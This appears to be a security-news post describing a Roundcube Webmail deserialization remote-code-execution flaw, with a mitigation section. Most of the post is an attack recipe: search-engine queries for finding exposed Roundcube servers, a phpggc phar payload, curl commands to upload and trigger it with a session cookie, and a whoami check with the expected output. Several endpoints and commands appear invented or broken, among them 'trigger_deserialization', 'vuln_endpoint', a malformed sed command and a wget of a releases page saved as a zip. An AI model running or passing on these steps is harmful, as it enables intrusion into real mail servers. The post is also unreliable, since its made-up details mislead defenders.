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Proof of Concept (POC):
Query for Vulnerable Systems:
- FOFA: `app=”roundcube”`
- ZoomEye: `app=”RoundCube Webmail”`
- HUNTER: `product.name=”Roundcube Webmail”`
- FOFA: `product=”roundcube”`
- SHODAN: `title:”Roundcube Webmail”`
You Should Know:
Exploitation Steps:
1. Identify Vulnerable Roundcube Instances:
shodan search 'title:"Roundcube Webmail"' --fields ip_str,port --limit 100
zoomeye search 'app:"RoundCube Webmail"' -num 50
2. Exploit the Deserialization Vulnerability:
- Craft a malicious serialized payload and upload it via
upload.php. - Example PHP deserialization payload (using
phpggc):phpggc Monolog/RCE1 system "id" -p phar -o payload.phar
- Upload the payload via a crafted HTTP request:
curl -X POST -F "[email protected]" http://target.com/roundcube/upload.php -b "roundcube_sessid=VALID_SESSION_COOKIE"
3. Trigger the Payload:
- Force Roundcube to deserialize the uploaded file:
curl http://target.com/roundcube/?_action=trigger_deserialization -b "roundcube_sessid=VALID_SESSION_COOKIE"
4. Verify Remote Code Execution (RCE):
curl http://target.com/roundcube/vuln_endpoint -b "roundcube_sessid=VALID_SESSION_COOKIE" --data "cmd=whoami"
Mitigation Steps:
- Patch Roundcube Immediately:
wget https://github.com/roundcube/roundcubemail/releases/latest -O latest-roundcube.zip unzip latest-roundcube.zip -d /var/www/html/roundcube
- Disable Dangerous PHP Functions:
disable_functions = unserialize,exec,passthru,shell_exec,system
- Restrict File Uploads:
chmod -R 750 /var/www/html/roundcube/temp/
Detection & Logging:
- Check for Exploitation Attempts:
grep -r "unserialize" /var/log/roundcube/errors.log
- Monitor File Uploads:
auditctl -w /var/www/html/roundcube/temp/ -p wa -k roundcube_uploads
What Undercode Say:
This vulnerability highlights the dangers of unsafe deserialization in web applications. Attackers can chain this flaw with other weaknesses to gain full server control.
Additional Linux & Windows Commands for Security Checks:
- Check Running Processes (Linux):
ps aux | grep roundcube
- Verify Open Ports (Windows):
netstat -ano | findstr "LISTENING"
- Disable PHP Dangerous Functions (Linux):
sed -i 's/^disable_functions =./disable_functions = exec,passthru,shell_exec,system,unserialize/' /etc/php/8.2/apache2/php.ini
- Check Web Server Logs (Windows):
Get-Content C:\xampp\apache\logs\access.log -Tail 100 | Select-String "upload.php"
Expected Output:
A successful exploit will return:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Prediction:
Unpatched Roundcube instances will remain prime targets for APT groups and ransomware operators in 2025. Expect automated exploits within weeks.
IT/Security Reporter URL:
Reported By: Shahidul Islam – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
